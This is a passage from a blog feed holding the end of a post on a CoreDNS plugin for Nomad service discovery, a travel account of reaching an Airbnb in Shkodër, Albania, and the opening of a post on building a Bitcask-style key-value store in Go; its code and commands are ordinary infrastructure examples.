<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>qnameSplit</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span><span style="color: light-dark(#D73A49, #F47067);"> ||</span><span> qnameSplit</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> plugin</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NextOrFailure</span><span>(</span><span>n</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Name</span><span>(</span><span>)</span><span>,</span><span> n</span><span>.</span><span>Next</span><span>,</span><span> ctx</span><span>,</span><span> w</span><span>,</span><span> r</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	namespace</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> qnameSplit</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>]</span></span>
<span class="giallo-l"><span>	serviceName</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> qnameSplit</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">...</span></span>
<span class="giallo-l"></span></code></pre>
<p>The plugin handles A,AAAA and SRV record requests currently. Since A/AAAA records can only contain an IP address, SRV records can be used to advertise the port number.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Check the query type to format the appriopriate response.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		switch</span><span> qtype</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span> dns</span><span>.</span><span>TypeA</span><span>:</span></span>
<span class="giallo-l"><span>			m</span><span>.</span><span>Answer</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>m</span><span>.</span><span>Answer</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">dns</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">A</span><span>{</span></span>
<span class="giallo-l"><span>				Hdr</span><span>:</span><span> header</span><span>,</span></span>
<span class="giallo-l"><span>				A</span><span>:</span><span>   addr</span><span>,</span></span>
<span class="giallo-l"><span>			}</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span> dns</span><span>.</span><span>TypeAAAA</span><span>:</span></span>
<span class="giallo-l"><span>			m</span><span>.</span><span>Answer</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>m</span><span>.</span><span>Answer</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">dns</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">AAAA</span><span>{</span></span>
<span class="giallo-l"><span>				Hdr</span><span>:</span><span>  header</span><span>,</span></span>
<span class="giallo-l"><span>				AAAA</span><span>:</span><span> addr</span><span>,</span></span>
<span class="giallo-l"><span>			}</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">...</span></span>
<span class="giallo-l"></span></code></pre><h3 id="caching">Caching<a class="zola-anchor" href="#caching" aria-label="Anchor link for: caching">#</a></h3>
<p>While some coredns plugins have an in-built support for caching the records to avoid a lookup to Nomad server everytime (which can get expensive), I decided to skip the caching implementation. This is because <code>coredns</code> itself has a <code>cache</code> plugins which supports a lot of various options for controlling the cache. In my testing, just using this <code>cache</code> plugin was sufficient to avoid Nomad lookups each time a query came in.</p>
<h2 id="testing-the-plugin">Testing the plugin<a class="zola-anchor" href="#testing-the-plugin" aria-label="Anchor link for: testing-the-plugin">#</a></h2>
<p>I created a fake HTTP test server and added the URI paths which the Nomad Go client uses to query the Nomad API. This way I could test the plugin without having to run a Nomad cluster locally.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Setup a fake Nomad server.</span></span>
<span class="giallo-l"><span>	nomadServer</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> httptest</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewServer</span><span>(</span><span>http</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">HandlerFunc</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">func</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">w</span><span style="color: light-dark(#6F42C1, #F69D50);"> http</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">ResponseWriter</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> r</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">http</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Request</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		switch</span><span> r</span><span>.</span><span>URL</span><span>.</span><span>Path</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		default</span><span>:</span></span>
<span class="giallo-l"><span>			t</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Errorf</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Not implemented: </span><span style="color: light-dark(#005CC5, #F47067);">%v</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> r</span><span>.</span><span>URL</span><span>.</span><span>Path</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			return</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/v1/service/example</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>			w</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Write</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">[{&quot;Address&quot;:&quot;1.2.3.4&quot;,&quot;Namespace&quot;:&quot;default&quot;,&quot;Port&quot;:23202,&quot;ServiceName&quot;:&quot;example&quot;}]</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/v1/service/fakeipv6</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>			w</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Write</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">[{&quot;Address&quot;:&quot;1:2:3::4&quot;,&quot;Namespace&quot;:&quot;default&quot;,&quot;Port&quot;:8000,&quot;ServiceName&quot;:&quot;fakeipv6&quot;}]</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/v1/service/multi</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>			w</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Write</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">[{&quot;Address&quot;:&quot;1.2.3.4&quot;,&quot;Namespace&quot;:&quot;default&quot;,&quot;Port&quot;:25395,&quot;ServiceName&quot;:&quot;multi&quot;},{&quot;Address&quot;:&quot;1.2.3.5&quot;,&quot;Namespace&quot;:&quot;default&quot;,&quot;Port&quot;:20888,&quot;ServiceName&quot;:&quot;multi&quot;},{&quot;Address&quot;:&quot;1.2.3.6&quot;,&quot;Namespace&quot;:&quot;default&quot;,&quot;Port&quot;:26292,&quot;ServiceName&quot;:&quot;multi&quot;}]</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		case</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/v1/service/nonexistent</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>			w</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Write</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">[]</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span><span>)</span><span>)</span></span></code></pre><h2 id="usage-example">Usage Example<a class="zola-anchor" href="#usage-example" aria-label="Anchor link for: usage-example">#</a></h2>
<p>Here are some examples of how this plugin works. The Corefile I’ve used is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>nomad:1053 {</span></span>
<span class="giallo-l"><span>    errors</span></span>
<span class="giallo-l"><span>    debug</span></span>
<span class="giallo-l"><span>    health</span></span>
<span class="giallo-l"><span>    log</span></span>
<span class="giallo-l"><span>    nomad {</span></span>
<span class="giallo-l"><span>		address http://127.0.0.1:4646</span></span>
<span class="giallo-l"><span>        ttl 10</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>    prometheus :9153</span></span>
<span class="giallo-l"><span>    cache 30</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>On running <code>coredns</code>, it connects to a local Nomad agent which is running at <code>http://127.0.0.1:4646</code>. I’m running a <code>redis</code> job in Nomad, so I can query the service using the following command:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> info</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">namespace=default</span><span style="color: light-dark(#032F62, #96D0FF);"> redis</span><span>                 </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Job</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">  Address</span><span style="color: light-dark(#032F62, #96D0FF);">              Tags</span><span style="color: light-dark(#032F62, #96D0FF);">  Node</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">   Alloc</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">   192.168.29.76:25395</span><span>  [</span><span>]    9e02c85b  95170495</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">   192.168.29.76:20888</span><span>  [</span><span>]    9e02c85b  a1cf923c</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">   192.168.29.76:26292</span><span>  [</span><span>]    9e02c85b  a9d1181a</span></span></code></pre>
<p>Now, the same query can also be handled using the DNS server running by <code>coredns</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">doggo</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.default.nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> @tcp://127.0.0.1:1053</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">NAME</span><span style="color: light-dark(#032F62, #96D0FF);">                	TYPE</span><span style="color: light-dark(#032F62, #96D0FF);">	CLASS</span><span style="color: light-dark(#032F62, #96D0FF);">	TTL</span><span style="color: light-dark(#032F62, #96D0FF);">	ADDRESS</span><span style="color: light-dark(#032F62, #96D0FF);">      	NAMESERVER</span><span>     </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#032F62, #96D0FF);">   	IN</span><span style="color: light-dark(#032F62, #96D0FF);">   	10s</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span><span style="color: light-dark(#032F62, #96D0FF);">	127.0.0.1:1053</span><span>	</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#032F62, #96D0FF);">   	IN</span><span style="color: light-dark(#032F62, #96D0FF);">   	10s</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span><span style="color: light-dark(#032F62, #96D0FF);">	127.0.0.1:1053</span><span>	</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#032F62, #96D0FF);">   	IN</span><span style="color: light-dark(#032F62, #96D0FF);">   	10s</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span><span style="color: light-dark(#032F62, #96D0FF);">	127.0.0.1:1053</span></span></code></pre>
<p>Quering an SRV record is also possible:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dig</span><span style="color: light-dark(#032F62, #96D0FF);"> +noall</span><span style="color: light-dark(#032F62, #96D0FF);"> +answer</span><span style="color: light-dark(#032F62, #96D0FF);"> +additional</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.default.nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> @127.0.0.1</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1053</span><span style="color: light-dark(#032F62, #96D0FF);"> SRV</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	SRV</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 25395</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.default.nomad.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	SRV</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 20888</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.default.nomad.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	SRV</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 26292</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.default.nomad.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.default.nomad.</span><span style="color: light-dark(#005CC5, #6CB6FF);">	10</span><span style="color: light-dark(#032F62, #96D0FF);">	IN</span><span style="color: light-dark(#032F62, #96D0FF);">	A</span><span style="color: light-dark(#005CC5, #6CB6FF);">	192.168.29.76</span></span></code></pre><h2 id="code">Code<a class="zola-anchor" href="#code" aria-label="Anchor link for: code">#</a></h2>
<p>You can checkout the source code <a rel="external" href="https://github.com/mr-karan/coredns-nomad/">here</a>.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[A Tough Day in Albania]]></title>
            <link>https://ravidwivedi.in/posts/tough-day-in-albania/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/tough-day-in-albania/</guid>
            <pubDate>Mon, 26 Dec 2022 21:16:03 GMT</pubDate>
            <description><![CDATA[After attending DebConf22 in Kosovo, Akshat and I planned to spend a couple of days in Shkodër, Albania. From Prizren, Kosovo, we reached Tirana, Albania and stayed for a night. Many of the fellow Indians who attended DebConf22 were also with me. The next morning, we checked out and took a bus for Shkodër.
While Akshat boarded the bus and sat with Abraham, I decided to search for some snacks outside before boarding. As a consequence, the bus got full and I didn’t get a seat. Seeing this, a lady from Germany sitting beside Abraham made space for me. Therefore, three people were sitting on two seats. It was a nice gesture, but obviously uncomfortable.
The weather was scorchingly hot, and the bus fans weren’t working properly. After a two-hour ride, we deboarded in Shkodër. Akshat and I had booked an apartment from Airbnb. Going by the location, we figured out it was 1 kilometer away, which we decided to walk.
Upon reaching the location, we texted our apartment owner on Airbnb. On the other side was a lady, and we were not able to understand what she was saying as her texts weren’t in English. We tried translating her texts, but the translation didn’t make sense to us. She seemed to be saying that she has an appointment in the church at 3 o’clock.
It was very frustrating. We were standing in hot sun with our apartment nowhere in sight. Then we tried calling her as I had a local SIM card. A boy was passing the street we were on, and we handed the phone to him. However, he could not translate what the lady said, as he probably didn’t know English.
Then I left Akshat to search for anyone else who could translate. I came across a car repair shop where someone agreed to translate the call for me. After talking with the lady over the phone, the person told me that the location is 2 kilometers away and offered a ride in his car. I told him that I would need to bring my friend as well.
I went back to Akshat. A girl was passing by on a bicycle. We handed over the phone to her and phoned the lady from our Airbnb booking. The girl translated the call for us in English. She told us that they are calling us at Hotel Rozafa. We asked her for directions to Hotel Rozafa, and we later discovered that it was where the bus from Tirana dropped us, but we didn’t know at that time. We walked towards Hotel Rozafa and came across the car repair shop I mentioned above. Turned out that the person who offered help earlier had left the car repair shop by then.
Then a person at that car repair place gave us a few grapes and water. At that moment, a few grapes felt refreshing and energizing. Then we went ahead and bought water from a shop. The shopkeeper asked whether we were from Afghanistan, to which we said, “No, we are from India.”
Upon reaching a shop named Neptune, Akshat texted the lady again, telling her that we had reached Neptune. Turned out they knew that shop as a few minutes later, her husband was there. He came there by taxi to pick us up. It was at this point that their plan was revealed. Earlier, I wondered why they were calling us to Hotel Rozafa - it was to pick us up.
Finally, we reached our apartment and the lady and her husband gave instructions about how things work at the apartment. She had to call her sister in Italy every time she needed to talk to us as she didn’t know English, so her sister acted as a translator.
I have noticed with a couple of Airbnbs we had booked in Albania that the locations given online were not correct, and we had to ask for help from the locals. However, the locals in Albania were very helpful. Whether they knew English or not, they always tried to lend a helping hand. I think that the apartment owner taking a taxi to pick us up was a nice gesture as well.]]></description>
            <content:encoded><![CDATA[<p>After attending DebConf22 in Kosovo, Akshat and I planned to spend a couple of days in Shkodër, Albania. From Prizren, Kosovo, we reached Tirana, Albania and stayed for a night. Many of the fellow Indians who attended DebConf22 were also with me. The next morning, we checked out and took a bus for Shkodër.</p>
<p>While Akshat boarded the bus and sat with Abraham, I decided to search for some snacks outside before boarding. As a consequence, the bus got full and I didn’t get a seat. Seeing this, a lady from Germany sitting beside Abraham made space for me. Therefore, three people were sitting on two seats. It was a nice gesture, but obviously uncomfortable.</p>
<p>The weather was scorchingly hot, and the bus fans weren’t working properly. After a two-hour ride, we deboarded in Shkodër. Akshat and I had booked an apartment from Airbnb. Going by the location, we figured out it was 1 kilometer away, which we decided to walk.</p>
<p>Upon reaching the location, we texted our apartment owner on Airbnb. On the other side was a lady, and we were not able to understand what she was saying as her texts weren’t in English. We tried translating her texts, but the translation didn’t make sense to us. She seemed to be saying that she has an appointment in the church at 3 o’clock.</p>
<p>It was very frustrating. We were standing in hot sun with our apartment nowhere in sight. Then we tried calling her as I had a local SIM card. A boy was passing the street we were on, and we handed the phone to him. However, he could not translate what the lady said, as he probably didn’t know English.</p>
<p>Then I left Akshat to search for anyone else who could translate. I came across a car repair shop where someone agreed to translate the call for me. After talking with the lady over the phone, the person told me that the location is 2 kilometers away and offered a ride in his car. I told him that I would need to bring my friend as well.</p>
<p>I went back to Akshat. A girl was passing by on a bicycle. We handed over the phone to her and phoned the lady from our Airbnb booking. The girl translated the call for us in English. She told us that they are calling us at Hotel Rozafa. We asked her for directions to Hotel Rozafa, and we later discovered that it was where the bus from Tirana dropped us, but we didn’t know at that time. We walked towards Hotel Rozafa and came across the car repair shop I mentioned above. Turned out that the person who offered help earlier had left the car repair shop by then.</p>
<p>Then a person at that car repair place gave us a few grapes and water. At that moment, a few grapes felt refreshing and energizing. Then we went ahead and bought water from a shop. The shopkeeper asked whether we were from Afghanistan, to which we said, “No, we are from India.”</p>
<p>Upon reaching a shop named Neptune, Akshat texted the lady again, telling her that we had reached Neptune. Turned out they knew that shop as a few minutes later, her husband was there. He came there by taxi to pick us up. It was at this point that their plan was revealed. Earlier, I wondered why they were calling us to Hotel Rozafa - it was to pick us up.</p>
<p>Finally, we reached our apartment and the lady and her husband gave instructions about how things work at the apartment. She had to call her sister in Italy every time she needed to talk to us as she didn’t know English, so her sister acted as a translator.</p>
<p>I have noticed with a couple of Airbnbs we had booked in Albania that the locations given online were not correct, and we had to ask for help from the locals. However, the locals in Albania were very helpful. Whether they knew English or not, they always tried to lend a helping hand. I think that the apartment owner taking a taxi to pick us up was a nice gesture as well.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Writing a disk-based key-value store in Golang]]></title>
            <link>https://mrkaran.dev/posts/barreldb/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/barreldb/</guid>
            <pubDate>Sat, 17 Dec 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[I’d been mulling around reading a computer science paper and implementing a project based on it. Distributed systems, Networking and Databases are some of the things that fascinate me a lot. However, I had been looking to implement a more approachable project to avoid getting inundated initially. And I happened to chance upon the Bitcask paper through Avinash’s project: CaskDB.
After giving a quick read of this reasonably short paper, I decided to write a Golang implementation of the same, as it looked like an exciting project. If you’re interested in checking out the complete project, checkout BarrelDB.
Bitcask is a disk-based key-value storage engine designed for fast read and write operations. It is mainly in production use by Riak (which is a distributed database) as one of the storage engines. Bitcask under the hood has a straightforward yet clever design. It writes to the file in an append-only mode. This means that writes are performed only by appending to the end of the file, thus avoiding the need to perform any random disk I/O seek.
Let’s look at various components of Bitcask:
Format of the record#

CRC: Stores the checksum of the value to ensure data consistency
Timestamp: Timestamp in UNIX format, stored as int32.
Expiry: If the record has an expiry defined, then the timestamp, in UNIX format, is stored as int32.
Key Size: Size of the key in bytes
Value Size: Size of the value in bytes
Key
Value
This additional metadata stored alongside the key/value is represented with a fixed-width header. Each field is represented as int32, so the total size of the header is 4*5 = 20 bytes. Here’s the code which encodes and decodes this record:
type Record struct {
    Header Header
    Key    string
    Value  []byte
}

// Header represents the fixed width fields present at the start of every record.
type Header struct {
    Checksum  uint32
    Timestamp uint32
    Expiry    uint32
    KeySize   uint32
    ValSize   uint32
}

// Encode takes a byte buffer, encodes the value of header and writes to the buffer.
func (h *Header) encode(buf *bytes.Buffer) error {
    return binary.Write(buf, binary.LittleEndian, h)
}

// Decode takes a record object decodes the binary value the buffer.
func (h *Header) decode(record []byte) error {
    return binary.Read(bytes.NewReader(record), binary.LittleEndian, h)
}
The record is encoded in the binary format before storing it on the disk.
Datafile#
A “datafile” (term used for the DB file on disk) is an append-only record of all the write operations. An instance of Bitcask can have several datafiles. However, there’s only one “active” datafile. In BarrelDB, a goroutine runs in the background at regular intervals to check if the size of the active DB file has crossed the threshold and then rotates the active file. It appends this DB file to the list of “stale” data files. All the new writes only happen to the “active” data file, and the stale files are merged as a part of the “compaction” process (described later in the post).

Here’s how a datafile is represented:
type DataFile struct {
    sync.RWMutex

    writer *os.File
    reader *os.File
    id     int

    offset int
}
It contains different handlers for writing and reading the file. The reason we have 2 file handlers instead of re-using the same one is that the writer is only opened in an “append-only” mode. In addition, since the active file can be rotated, the writer can be set to nil, ensuring no new writes ever happen on that file.
    writer, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return nil, fmt.Errorf("error opening file for writing db: %w", err)
    }

    // Create a reader for reading the db file.
    reader, err := os.Open(path)
    if err != nil {
        return nil, fmt.Errorf("error opening file for reading db: %w", err)
    }
KeyDir#
In addition to storing the file on disk, Bitcask also stores additional metadata, which defines how to retrieve the record. This hashtable is a map of keys with this metadata and is referred to as KeyDir. An important point to note here is that the value is never stored in this map. This makes it possible for Bitcask to handle datasets more significant than what the RAM can hold.
// KeyDir represents an in-memory hash for faster lookups of the key.
// Once the key is found in the map, the additional metadata, like the offset record
// and the file ID is used to extract the underlying record from the disk.
// Advantage is that this approach only requires a single disk seek of the db file
// since the position offset (in bytes) is already stored.
type KeyDir map[string]Meta

// Meta represents some additional properties for the given key.
// The actual value of the key is not stored in the in-memory hashtable.
type Meta struct {
    Timestamp  int
    RecordSize int
    RecordPos  int
    FileID     int
}
Here, RecordPos tells the record’s position offset (in bytes) in the entire file. Since the position of the record is stored in memory along with the key, the retrieval of the key doesn’t require more than a single disk seek. Bitcask achieves really low latency even with many keys in the database. A file system read-ahead cache also helps boost the performance and comes for free - no need to design a separate caching mechanism.

Compaction#
As we looked at previously, a datafile is simply an append-only sequence of writes. Any modification of the key is merely a new record appended to the datafile. KeyDir overwrites the entry of the key with the new metadata, which contains the new location of the record. Thus all reads will automatically return the updated value.
Deletes are handled similarly by writing a “tombstone” record for the key. When the user requests the key after it’s been deleted, BarrelDB can check whether that value equals the tombstone value and return an appropriate error.
As you would have guessed, our database will grow unbounded if we don’t perform any garbage cleanup. The datafiles need to be pruned for deleting expired/deleted records and merging all stale files in a single active file - to keep the number of opened files in check. All of these processes are together called “Compaction”.
Let’s take a look at how each of these compaction routine works under the hood:
Merge#
The merge process iterates over all the keys inside KeyDir and fetches their value. The value could come from a stale file as well. Once the new keys/values are updated, it writes them to a new active file. All the old file handlers are closed, and the stale files are deleted from the disk. The KeyDir is updated similarly since the new records live in a different position/file.
Hints File#
Bitcask paper describes a way of creating a “hints” file initially loaded in the database for faster startup time. This file is essential to bootstrap KeyDir after a cold startup. This avoids iterating over all data files and reading their values sequentially. In BarrelDB, gob encoding is used to dump the KeyDir map as a gob dump.
// generateHints encodes the contents of the in-memory hashtable
// as `gob` and writes the data to a hints file.
func (b *Barrel) generateHints() error {
    path := filepath.Join(b.opts.dir, HINTS_FILE)
    if err := b.keydir.Encode(path); err != nil {
        return err
    }

    return nil
}
